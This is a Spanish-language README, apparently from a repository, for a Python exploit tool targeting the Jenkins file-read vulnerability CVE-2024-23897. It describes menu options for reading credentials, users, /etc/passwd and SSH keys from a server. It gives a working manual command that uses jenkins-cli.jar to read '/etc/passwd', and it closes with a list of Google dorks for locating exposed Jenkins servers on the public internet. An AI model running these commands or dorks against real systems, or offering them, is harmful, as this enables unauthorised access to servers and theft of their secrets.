Versiones afectadas:
- Jenkins 2.441 y anteriores.
- Jenkins LTS 2.426.2 y anteriores.
Un script realizado en python para atumatizar la vulnerabilidad CVE-2024-23897 🤖 🛠️
Este código Python presenta un escáner para una vulnerabilidad específica (CVE-2024-23897) en servidores Jenkins. Comienza solicitando al usuario la URL del servidor Jenkins.
Luego, ofrece la opción de descargar el archivo "jenkins-cli.jar" necesario para interactuar con Jenkins desde la línea de comandos. Después, presenta un menú de opciones que incluye ejecutar comandos como obtener información del servidor, del entorno, de configuración de Jenkins, de usuarios, de credenciales, así como realizar lecturas de archivos sensibles como "/etc/passwd", "/etc/os-release" y "id_rsa".
Una vez que se selecciona una opción del menú, se ejecuta el comando correspondiente en el servidor Jenkins proporcionado. El código está estructurado con funciones para descargar el archivo y ejecutar los comandos, y una función principal para manejar el flujo del programa.
Ejecucion para servidor Jenkins 📝:
python3 CVE-2024-23897-A-scaner.py
ejecucion para servidor Jenkins EN DOCKER 📝:
python3 CVE-2024-23897-B-DOCKER-scaner.py
---------------------------------------------------------------------------------------------------------------------------------
ejecucion manual.
1- descargar jenkins-cli.jar : http:///jnlpJars/jenkins-cli.jar
2- para realizar LFI, ejecutar: java -jar jenkins-cli.jar -s http://172.17.0.2:8080/ -http connect-node "@/etc/passwd"
dork list:
intitle:"Dashboard [Jenkins]" inurl:"/login"
intitle:"Jenkins" "Dashboard"
inurl:"/computer/" intitle:"Jenkins"
inurl:"/script" intitle:"Jenkins"
"Jenkins [Jenkins]" intitle:"Login"
intitle:"Jenkins" "Jenkins ver. 2.441"
inurl:"/manage" intitle:"Jenkins"
site:.com intitle:"Jenkins"
site:aws.amazon.com intitle:"Jenkins"
filetype:xml inurl:"jenkins/config.xml"